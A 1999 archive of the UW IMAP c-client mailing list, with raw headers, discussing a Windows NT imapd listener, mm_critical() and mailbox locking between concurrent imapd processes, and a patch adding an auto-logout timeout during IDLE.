[89.2.0.222]) by mail-bridge.btrd.bostontechnology.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2232.9) id F1Q8YB7C; Sun, 28 Feb 1999 11:09:45 -0500 Received: from goofy_ex.icomverse.com by mailer.comversens.com (SMI-8.6/SMI-SVR4) id LAA16007; Sun, 28 Feb 1999 11:09:49 -0500 Received: by GOOFY_EX.QUANTUM.icomverse.com with Internet Mail Service (5.5.2232.9) id ; Sun, 28 Feb 1999 18:12:02 +0200 Message-Id: Date: Sun, 28 Feb 1999 18:11:58 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Rubinstein, Dmitry" To: "'c-client'" Subject: WinNT listener for UW IMAPd MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi! I have a question or 2 regarding . I downloaded Mark's listener and tried to play with it a bit. I noticed, that it spawns 3 threads and 1 process per each new session. It seems a bit wasteful (if avoidable). Is there a way to avoid creating any new threads, and just spawning a new imapd process? I guess, some modifications to the imapd are due, such as running WSAStartup(...). I'm pretty sure one can do with a single thread per session (by doing a WaitOnMultipleObjects on both input and output pipes) at a cost of making the connection 'half duplex' (you can't read and write simultaneously). I'm positive one can do with only 2 threads per session at no cost at all (by making the 'server' thread also an 'ithread' or 'othread'). Any input on all of this? Has anyone successfully worked with this listener? Made an NT service out of it? Measured performance? Is there any other listener out there? Has anyone considered making the imapd itself multithreaded? I think, that the benefits are obvious: currently the imapd runs in the 'process per session' mode. That makes the work in online mode practically infeasible, especially for heavily loaded servers. Since IMAP session is inactive most of the time, a limited number of threads can take care of much larger number of sessions, significantly reducing the load on the server. So far for the 'question or 2' ;-). TIA, -- Dmitry Rubinstein <*> Home: (972)-8-8647229 Cell: (972)-53-428979 dimrub@icomverse.com http://www.wisdom.weizmann.ac.il/~dimrub -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Mar 4 16:10:11 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 4 Mar 1999 16:10:11 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA16959 for ; Thu, 4 Mar 1999 16:10:10 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA31888; Thu, 4 Mar 1999 16:10:08 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id QAA22818; Thu, 4 Mar 1999 16:09:51 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA08652 for ; Thu, 4 Mar 1999 16:07:54 -0800 Received: from ares.voicerite.com (totalcall.com [63.64.62.207]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA15518 for ; Thu, 4 Mar 1999 16:07:48 -0800 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id SAA11085 for ; Thu, 4 Mar 1999 18:59:39 -0500 Message-Id: <006b01be669b$e61a7450$2601a8c0@voicerite> Date: Thu, 4 Mar 1999 19:05:36 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Alex Shvedov" To: "C-Client mailing list" Subject: A note on multiprocess IMAP server X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.0810.800 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN FYI... For some reason I had to make my IMAP server multiprocess (as opposed to multithreaded); in this case mm_(no)critical routines do not work properly because they just set/unset global variable. This is OK for a single shared memory space only. If and when a server spawns different processes, whose memory spaces differ, this lock must be replaced - by locking file etc. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Mar 4 16:17:41 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 4 Mar 1999 16:17:40 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA17232 for ; Thu, 4 Mar 1999 16:17:39 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA32066; Thu, 4 Mar 1999 16:17:37 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id QAA21216; Thu, 4 Mar 1999 16:17:22 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA29364 for ; Thu, 4 Mar 1999 16:15:50 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (pd@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA17217 for ; Thu, 4 Mar 1999 16:15:50 -0800 Message-Id: Date: Thu, 4 Mar 1999 16:13:16 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Alex Shvedov Cc: C-Client mailing list Subject: re: A note on multiprocess IMAP server In-Reply-To: <006b01be669b$e61a7450$2601a8c0@voicerite> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 4 Mar 1999 19:05:36 -0500, Alex Shvedov wrote: > For some reason I had to make my IMAP server multiprocess (as opposed to > multithreaded); in this case mm_(no)critical routines do not work properly > because they just set/unset global variable. This is OK for a single shared > memory space only. Huh? This statement makes no sense at all. mm_critical() is your own routine, and it is called with the MAILSTREAM of the stream which went critical. That gives you everything that you need to do what you want, including implementing a lock if that's what's necessary. From pinedev@shivax2.cac.washington.edu Thu Mar 4 16:47:30 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 4 Mar 1999 16:47:30 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA17804 for ; Thu, 4 Mar 1999 16:47:28 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA32756; Thu, 4 Mar 1999 16:47:26 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id QAA19839; Thu, 4 Mar 1999 16:47:15 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA38656 for ; Thu, 4 Mar 1999 16:46:31 -0800 Received: from ares.voicerite.com (totalcall.com [63.64.62.207]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA22276 for ; Thu, 4 Mar 1999 16:46:30 -0800 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id TAA18500; Thu, 4 Mar 1999 19:38:18 -0500 Message-Id: <008301be66a1$4c65cb60$2601a8c0@voicerite> Date: Thu, 4 Mar 1999 19:44:16 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Alex Shvedov" To: "Mark Crispin" Cc: "C-Client mailing list" Subject: Re: A note on multiprocess IMAP server X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.0810.800 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN >Huh? This statement makes no sense at all. >mm_critical() is your own routine, and it is called with the MAILSTREAM of the >stream which went critical. That gives you everything that you need to do >what you want, including implementing a lock if that's what's necessary. I said explicitly: FUI, which stands for "for your information". It's not a bug at all. It's an advice to developers who for some (external to IMAP per se) reason are bound to fork. Normally one wants just to copy imapd.c, mail_link some new driver there and live happily afterwards; that's what I did and that's why I decided to send this comment. Since You provided these mm_(no)critical as wrappers for critical=TRUE/FALSE, forked variant is not a problem at all. P.S. Is it just my impression that the first part of Your reply contradicts to the second one? Really, the second part actually says that I am right, while a statement that has no sense can not be neither right nor wrong. From pinedev@shivax2.cac.washington.edu Thu Mar 4 17:56:29 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 4 Mar 1999 17:56:29 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA18022 for ; Thu, 4 Mar 1999 17:56:28 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA01443; Thu, 4 Mar 1999 17:56:26 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id RAA23945; Thu, 4 Mar 1999 17:56:18 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA20644 for ; Thu, 4 Mar 1999 17:55:24 -0800 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA31621 for ; Thu, 4 Mar 1999 17:55:23 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (rfort@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA00629; Thu, 4 Mar 1999 17:55:19 -0800 Message-Id: Date: Thu, 4 Mar 1999 17:33:01 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Alex Shvedov Cc: C-Client mailing list Subject: Re: A note on multiprocess IMAP server In-Reply-To: <008301be66a1$4c65cb60$2601a8c0@voicerite> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 4 Mar 1999 19:44:16 -0500, Alex Shvedov wrote: > Normally one wants just to copy imapd.c, mail_link some new driver there and > live happily afterwards; that's what I did and that's why I decided to send > this comment. > > Since You provided these mm_(no)critical as wrappers for > critical=TRUE/FALSE, forked variant is not a problem at all. This also makes no sense. As distributed, imapd handles a single IMAP session, and for the most part does it in a single process. IMAP's I/O for the session is via stdio. All drivers run in the same process. The only thing that mm_critical() is used for is to allow a driver to tell the main program that it is in dangerous code that should be allowed to run to completion. That, in turn, is used by imapd's signal handlers to determine whether or not it should exit on a signal. You seem to be saying that you have taken the original imapd and modified it to run in an entirely different way. If you do that, then it has become a different program, and you're responsible for doing whatever has to be done to make that program work. That may include changing how it does command I/O, or how it handles signals, or any number of other details. More importantly, imapd is not c-client. From pinedev@shivax2.cac.washington.edu Thu Mar 4 18:01:19 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 4 Mar 1999 18:01:19 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA18705 for ; Thu, 4 Mar 1999 18:01:17 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA01547; Thu, 4 Mar 1999 18:01:15 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id SAA24439; Thu, 4 Mar 1999 18:01:03 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA37584 for ; Thu, 4 Mar 1999 17:58:36 -0800 Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA30572 for ; Thu, 4 Mar 1999 17:58:35 -0800 Received: from Eng.Sun.COM ([129.144.134.6]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id RAA20561; Thu, 4 Mar 1999 17:58:09 -0800 (PST) Received: from ha-sims.eng.sun.com (phys-thestorka.Eng.Sun.COM [129.146.1.231]) by Eng.Sun.COM (8.8.8+Sun/SMI-5.3) with ESMTP id RAA23794; Thu, 4 Mar 1999 17:58:08 -0800 (PST) Received: from peking2 (peking2.Eng.Sun.COM) by ha-sims.eng.sun.com (Sun Internet Mail Server sims.3.5.1999.01.13.19.49.p4) with SMTP id <0F8300544MR1FV@ha-sims.eng.sun.com>; Thu, 4 Mar 1999 17:57:01 -0800 (PST) Message-Id: Date: Thu, 04 Mar 1999 17:56:59 -0800 (PST) Reply-To: Calvin Lin Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Calvin Lin To: Mark Crispin Cc: Alex Shvedov , C-Client mailing list Subject: re: A note on multiprocess IMAP server In-Reply-To: Your message with ID Content-type: text X-Sun-Text-type: ascii X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Multi-threading the c-client library is certainly possible, if that's what Alex is asking...just make sure no globals are used and if you have to use them, put them in a thread specific data area. File locking is a bit tricky cause fd's are shared amount threads within one process...at least in Solaris. -cl > On Thu, 4 Mar 1999 19:05:36 -0500, Alex Shvedov wrote: > > For some reason I had to make my IMAP server multiprocess (as opposed to > > multithreaded); in this case mm_(no)critical routines do not work properly > > because they just set/unset global variable. This is OK for a single shared > > memory space only. > > Huh? This statement makes no sense at all. > > mm_critical() is your own routine, and it is called with the MAILSTREAM of > the stream which went critical. That gives you everything that you need to > do what you want, including implementing a lock if that's what's necessary. > From pinedev@shivax2.cac.washington.edu Fri Mar 5 07:49:24 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 5 Mar 1999 07:49:23 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA30672 for ; Fri, 5 Mar 1999 07:49:22 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA18465; Fri, 5 Mar 1999 07:49:20 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id HAA23881; Fri, 5 Mar 1999 07:49:15 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA44240 for ; Fri, 5 Mar 1999 07:47:19 -0800 Received: from ares.voicerite.com (totalcall.com [63.64.62.207]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA25416 for ; Fri, 5 Mar 1999 07:47:17 -0800 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id KAA23523; Fri, 5 Mar 1999 10:39:03 -0500 Message-Id: <009b01be671f$21c3cdc0$2601a8c0@voicerite> Date: Fri, 5 Mar 1999 10:45:00 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Alex Shvedov" To: "Mark Crispin" Cc: "C-Client mailing list" Subject: Re: A note on multiprocess IMAP server X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.0810.800 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN >On Thu, 4 Mar 1999 19:44:16 -0500, Alex Shvedov wrote: >> Normally one wants just to copy imapd.c, mail_link some new driver there and >> live happily afterwards; that's what I did and that's why I decided to send >> this comment. >> >> Since You provided these mm_(no)critical as wrappers for >> critical=TRUE/FALSE, forked variant is not a problem at all. > >This also makes no sense. > >As distributed, imapd handles a single IMAP session, and for the most part >does it in a single process. IMAP's I/O for the session is via stdio. All >drivers run in the same process. The way all - repeat, all - connections work on UNIX is different. Its inetd who accepts the connection and (sic!) spawns a separate process of imapd (or telnetd or ftpd etc.). Therefore you always - repeat, always - have a separate process for each login (=successful connection). It is true that inetd retranslates what it hears from outside world to imapd's stdin and listens (and retranslates to the outside world) what imapd has to say on its stdout. But inetd does it SEPARATELY for each login. In other words, if two clients simultaneously login to the same IMAP account, there will be TWO imapd processes that DO NOT share any memory. This is a standard picture which has nothing to do with IMAP protocol whatsoever, it's the way inetd handles requests (=connections). My problem was: - suppose we have two simultaneous identical logins (and, as we know now, two independent imapd processes), so that name, pwd, mailbox and message(s) that has(ve) been fetched are the same; - suppose one guy deletes a message and expunges; What will happen with the slower guy, who drew second? After your explanation I see that mm_(no)critical has nothing to do with solution. What's the solution then? Or, for starter, is there a problem? Actually, I tested our server using that same MS Outlook Express v.5 (beta 2) I'm using right now; I myself was surprised to see two or more sessions (!) while going through my IMAP account - I was the only one (!) who was logged in, and I didn't expect my client to do it twice during one session. It's MS OE (+inetd scheme) that creates multiple logins and hence multiprocesses imapd. >The only thing that mm_critical() is used for is to allow a driver to tell the >main program that it is in dangerous code that should be allowed to run to >completion. That, in turn, is used by imapd's signal handlers to determine >whether or not it should exit on a signal. > >You seem to be saying that you have taken the original imapd and modified it >to run in an entirely different way. If you do that, then it has become a >different program, and you're responsible for doing whatever has to be done to >make that program work. I don't think that our code is really different, since we just made one more layer of retranslation: inetd starts some special thing called imap_link which does nothing except piping each byte to/from a privileged port 143 to some nonprivileged port any non-root can bind. So we do things in exactly the same - alas, spawning - manner inetd does, but deal with port number > 1024. >That may include changing how it does command I/O, or how it handles signals, or any number of other >details. OK. We - hopefully - don't and will not need that. >More importantly, imapd is not c-client. A rose is a rose is a rose. I tried to compile and link imapd without c-client.a and failed. After an hour of deliberations I came to a conclusion that I have every reason to suspect some sort of connection between the two. From pinedev@shivax2.cac.washington.edu Fri Mar 5 13:43:51 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 5 Mar 1999 13:43:50 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA04387 for ; Fri, 5 Mar 1999 13:43:47 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA23099; Fri, 5 Mar 1999 13:43:45 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id NAA15237; Fri, 5 Mar 1999 13:43:24 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA32854 for ; Fri, 5 Mar 1999 13:42:06 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (seung@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA20159 for ; Fri, 5 Mar 1999 13:42:06 -0800 Message-Id: Date: Fri, 5 Mar 1999 13:25:55 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Alex Shvedov Cc: C-Client mailing list Subject: Re: A note on multiprocess IMAP server In-Reply-To: <009b01be671f$21c3cdc0$2601a8c0@voicerite> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Thank you for your clarification. I believe that you are very confused about how the software works. I will try to clear things up for you. Let me start by assuring you that I understand quite well how inetd works; and that imapd is designed to work in precisely that environment. In general, it is a good assumption that an implementor knows what he's doing, particularly when it comes down to such fundamental details as this. mm_critical() has nothing to do with mailbox interlocking between multiple imapds accessing the same mailbox. mm_critical() deals only with blocking interrupt-termination of an imapd that is engaged in an operation which must run to completion to avoid mailbox damage. There is entirely different code to handle multiple imapds accessing the same mailbox, and the interlocks necessary to support this. You can find out more about these issues by reading the file "docs/locking.txt" in the IMAP toolkit source directory. Each c-client driver is responsible for managing its own locking discipline. In some drivers, such as the ones to handle the standard UNIX format of mail and the MMDF format of mail, it is not permitted for multiple imapds to access the same mailbox. Consequently, the locking algorithms for these formats deal with the question of which imapd is allowed read/write access, and of how to seize the lock from another imapd. In certain other formats, most notably mbx, the driver permits multiple imapds to access the same mailbox; and there is a rather elaborate mechanism to handle the contention issues. To the best of my knowledge, nobody had done anything like this on UNIX prior to my doing it about 10 years ago; I was told by all the UNIX Gurus that it wasn't possible. In other words, this is a problem that was solved many years ago. What may have confused you is that, in the standard UNIX format of mail, you are not permitted to have multiple imapds accessing the same mailbox. However, imapd properly detects this condition, and prevents it from happening. Any attempt to make it happen results in one of the imapds failing. From pinedev@shivax2.cac.washington.edu Fri Mar 5 14:48:40 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 5 Mar 1999 14:48:39 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA04829 for ; Fri, 5 Mar 1999 14:48:38 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA24772; Fri, 5 Mar 1999 14:48:36 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id OAA26290; Fri, 5 Mar 1999 14:48:25 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA26436 for ; Fri, 5 Mar 1999 14:44:57 -0800 Received: from ares.voicerite.com (totalcall.com [63.64.62.207]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA31225 for ; Fri, 5 Mar 1999 14:44:55 -0800 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id RAA04702; Fri, 5 Mar 1999 17:36:42 -0500 Message-Id: <010201be6759$7a56ed20$2601a8c0@voicerite> Date: Fri, 5 Mar 1999 17:42:40 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Alex Shvedov" To: "Mark Crispin" Cc: "C-Client mailing list" Subject: Re: A note on multiprocess IMAP server X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.0810.800 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN >I will try to clear things up for you. >Each c-client driver is responsible for managing its own locking discipline. Thanx (no kidding). The residue is that imapd puts all the responsibility on a particular driver it uses. This is important. That's what I was looking for in docs (and couldn't find - docs/locking deals with other issues). It was clear enough from your previous letter that mm_(no)criticals deal with traps only. >I believe that you are very confused about how the software works. ... and not only software! I still don't believe in that electricity... From pinedev@shivax2.cac.washington.edu Mon Mar 8 10:34:22 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Mar 1999 10:34:22 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA22959 for ; Mon, 8 Mar 1999 10:34:21 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA17831; Mon, 8 Mar 1999 10:34:18 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id KAA04753; Mon, 8 Mar 1999 10:34:03 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA08834 for ; Mon, 8 Mar 1999 10:32:16 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA17831 for ; Mon, 8 Mar 1999 10:32:15 -0800 Received: from honeybee.sover.net (honeybee.sover.net [209.198.87.129]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA17800 for ; Mon, 8 Mar 1999 10:32:15 -0800 Received: from localhost (erikl@localhost) by honeybee.sover.net (8.9.3/8.9.3) with ESMTP id NAA00744; Mon, 8 Mar 1999 13:32:13 -0500 (EST) Message-Id: Date: Mon, 8 Mar 1999 13:32:13 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Erik R. Leo" To: c-client@CAC.Washington.EDU Cc: Evan Moore Subject: Auto-logout while IDLE? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: honeybee.sover.net: erikl owned process doing -bs X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi; We're running imapd (IMAP4rev1 v12.250) on a fairly busy server. We noticed certain users were leaving a lot of imapd processes (over 100 for one of our more pathological cases) around for a much longer than the default 30 minute auto-logout time (days or even weeks, depending on when someone would notice & get in to clean things up). We believe the problem is that the user's client has issued an IDLE command, which leaves imapd in tight loop with no alarm set. We also see that RFC 2177 permits an auto-logout in the IDLE state. Our question is whether anyone forsees a problem with making the change (either the concept or the implementation, in the patch below)? Thanks, -Erik -- Erik R. Leo, Net Worker SoVerNet Tel: +1(802)463-2111 Vermont's Sovereign Internet Connection Fax: +1(802)463-2110 Post Office Box 495, 5 Rockingham Street Email: erikl@sover.net Bellows Falls, Vermont 05101 *** imapd.c Mon Mar 8 13:19:38 1999 --- imapd.c.orig Mon Mar 8 13:14:57 1999 *************** *** 1039,1045 **** /* remember last checkpoint */ lastcheck = time (0); } - alarm(TIMEOUT); do { /* main idle loop */ mail_parameters (stream,SET_ONETIMEEXPUNGEATPING,(void *)stream); ping_mailbox (uid); --- 1039,1044 ---- *************** *** 1051,1057 **** } PFLUSH; /* dump output buffer */ } while ((state != LOGOUT) && !server_input_wait (IDLETIMEOUT)); - alarm(0); if (state != LOGOUT) { slurp (tmp,MAILTMPLEN); if (((tmp[0] != 'D') && (tmp[0] != 'd')) || --- 1050,1055 ---- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Mar 8 21:45:12 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Mar 1999 21:45:11 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id VAA31745 for ; Mon, 8 Mar 1999 21:45:08 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id VAA00203; Mon, 8 Mar 1999 21:45:06 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id VAA02396; Mon, 8 Mar 1999 21:45:00 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id VAA42318 for ; Mon, 8 Mar 1999 21:43:45 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with 